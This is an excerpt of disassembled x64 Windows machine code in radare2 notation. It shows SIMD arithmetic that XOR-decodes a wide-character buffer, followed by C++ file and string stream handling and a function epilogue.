movups xmmword [rbp - 0x40], xmm11
movq xmm12, qword [0x14026d990]
movq qword [rbp - 0x30], xmm12
movzx eax, word [0x14026d998]
mov word [rbp - 0x28], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401fa085
movdqa xmm6, xmmword [0x14026f2e0]
movdqa xmm7, xmmword [0x14026f310]
movdqa xmm9, xmmword [str.ggggkkkk]
movdqa xmm8, xmmword [0x14026f320]
movdqa xmm10, xmmword [str.99999999]
movdqa xmm5, xmmword [0x14026f1b0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x40], xmm3
movdqa xmm5, xmmword [0x14026f1d0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x38]
xorps xmm3, xmm1
movq qword [rbp - 0x38], xmm3
movdqa xmm5, xmmword [0x14026f1f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm12
xorps xmm3, xmm1
movq qword [rbp - 0x30], xmm3
mov r9d, 0xc
mov eax, r9d
lea r10, [rbp - 0x40]
lea r10, [r10 + rax*2]
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x67
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
movzx eax, r9w
add ax, ax
add cx, 0x39
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x1401fa090
lea rdx, [rbp - 0x40]
mov rcx, r11
call fcn.140239c70
lea rcx, [rbp + 0x138]
call fcn.140237ea0
test rax, rax
jne 0x1401fa125
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x130]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x20]
call fcn.140238470
movups xmm0, xmmword [rbp]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp + 0x10]
movups xmmword [r13 + 0x10], xmm1
movdqa xmm0, xmmword [0x14026f190]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], r15w
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x130], rax
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.140235230
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call fcn.140238470
nop
lea rcx, [rbp + 0x20]
call fcn.140238470
nop
mov rcx, qword [rbp + 0x40]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rdx + 0x40], rax
mov rcx, qword [rbp + 0x40]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x88]
mov dword [rbp + rdx + 0x3c], r8d
jmp 0x1401fa2b6
xor ebx, ebx
mov word [rsp + 0x30], bx
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], rbx
lea rax, [rsp + 0x30]
nop dword [rax]
inc rsi
cmp word [rax + rsi*2], bx
jne 0x1401fa210
mov r8, rsi
lea rdx, [rsp + 0x30]
mov rcx, r13
call fcn.14023ba90
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.140235230
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call fcn.140238470
nop
lea rcx, [rbp + 0x20]
call fcn.140238470
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x48]
call fcn.1402358d0
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rax, r13
mov rcx, qword [rbp + 0x17e0]
xor rcx, rsp
call fcn.14025d630
lea r11, [rsp + 0x1960]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret